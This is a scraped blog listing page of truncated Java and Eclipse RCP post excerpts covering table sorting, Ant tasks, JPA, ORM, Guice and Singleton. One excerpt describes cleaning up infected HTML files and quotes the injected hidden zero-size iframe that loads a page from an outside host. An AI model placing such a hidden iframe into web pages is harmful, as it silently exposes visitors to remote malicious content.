`
louisling
  • 浏览: 143868 次
  • 性别: Icon_minigender_1
  • 来自: ZhuHai
社区版块
存档分类
最新评论
文章列表
TableViewer: Change background for new or changed records 1) //override hashCode() of the class that displayed in the table. /** * Calculate these fields that affect the object state to change */ public int hashCode() { return BaseUtils.hashCode(id, name, sex, date, value); } 2) In UI //& ...

RCP resources

    博客分类:
  • RCP
http://wiki.eclipse.org/JFaceSnippets

JFace Snippets

    博客分类:
  • RCP
Color COLOR_RED = Display.getDefault().getSystemColor(SWT.COLOR_RED); Color COLOR_GREEN = Display.getDefault().getSystemColor(SWT.COLOR_GREEN); Color COLOR_BLUE = Display.getDefault().getSystemColor(SWT.COLOR_BLUE); Color COLOR_YELLOW = Display.getDefault().getSystemColor(SWT.COLOR_YELLOW); /** ...
今天突然发现, 很多 html 文件的末尾多了一行, <iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe> 不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它. public class FileUtils { public static void main(String[] args) throws Exception { String content = "<iframe wi ...

Ant task

    博客分类:
  • Java
Copy task with Ant build.xml <project name="TestApp" default="copyTest" basedir="."> <target name="copyTest"> <antcall target="copy"> <param name="source" value="C:\tmp\aaa\AcegiTest&qu ...

SWT组件Table 的排序

    博客分类:
  • RCP
/** * This util calss provides some general RCP methods * * @author Louis */ public class RcpUtils { /** * Add sorter to the specified column, compares using Collator */ public static void addSorter(final Table table, final TableColumn column) { column.addList ...
From: http://www.theserverside.com/news/thread.tss?thread_id=48270 Carlos Perez has posted his list of the top five Java-based technologies to learn in 2008.  They are: • OSGi (a specification for dynamic modules for Java) • The Java Content Repository spec, first appearing in the JCP in February ...
对 ORM 的讨论永远都没有结束... 每个人都有不同的思路, 不同的实现. 之所以引入ORM, 我认为是: 1) 减少复杂度, 抽象出了公共的持久层.    比如把一个对象保存到数据库. 传统的 JDBC 方法, 需要insert into ...语句.    事实上, 生成这 ...
Java Persistence API, or JPA Java 里面已经有很多的优秀的持久化 framework 了: EJB, JDO, Hibernate, iBatis, and Toplink... Java Persistence API (JPA) 是 J2EE 5里面的一个持久化标准. 起初是作为 JSR 220 的一个部分: EJB 3.0. 为了简化 EJB entity beans 的编程。 事实上, JPA 也可以在 J2SE 环境下面使用的。 Apache OpenJPA 就是一个 JPA 的开源实现.
经常在书上的例子里面看见 foo 这个方法名称,一直不知道这个单词是什么意思,不过猜测,应该相当于A,B,C,D..甲、乙、丙、丁...之类的意思,今天特意去查询一下: [url]http://searchcio-midmarket.techtarget.com/sDefinition/0,,sid183_gci212139,00.html[url] foo 引用Just as economists sometimes use the term "widget" as the ultimate substitute for "something" ...
  What's New in 6.0<o:p></o:p> ·   SmartClient now also available under the LGPLv3! <o:p></o:p> ·   Large improvements in grid performance, especially in IE7 <o:p></o:p> ·   New Skinning Guide and expanded documentation of skinning-related properties <o:p>< ...

Note on Singleton

    博客分类:
  • Java
//From Google - Bob Lee. (Jeremy Manson, Brian Goetz) public class Singleton { private static class SingletonHolder { static Singleton instance = new Singleton(); } public static Singleton getInstance() { return SingletonHolder.instance; } private Singl ...

Guice

    博客分类:
  • Java
Guice (from Google Bob Lee's IoC) Dependency Injection, DI Inversion of Control, IoC It's another IoC container, which like a cousin of Spring IoC. Spring uses xml, provide IoC, Aop and peripheral service;[*]Guice uses Annotatin, each has their strongpoint, it's hard to say which one is better Just ...
Global site tag (gtag.js) - Google Analytics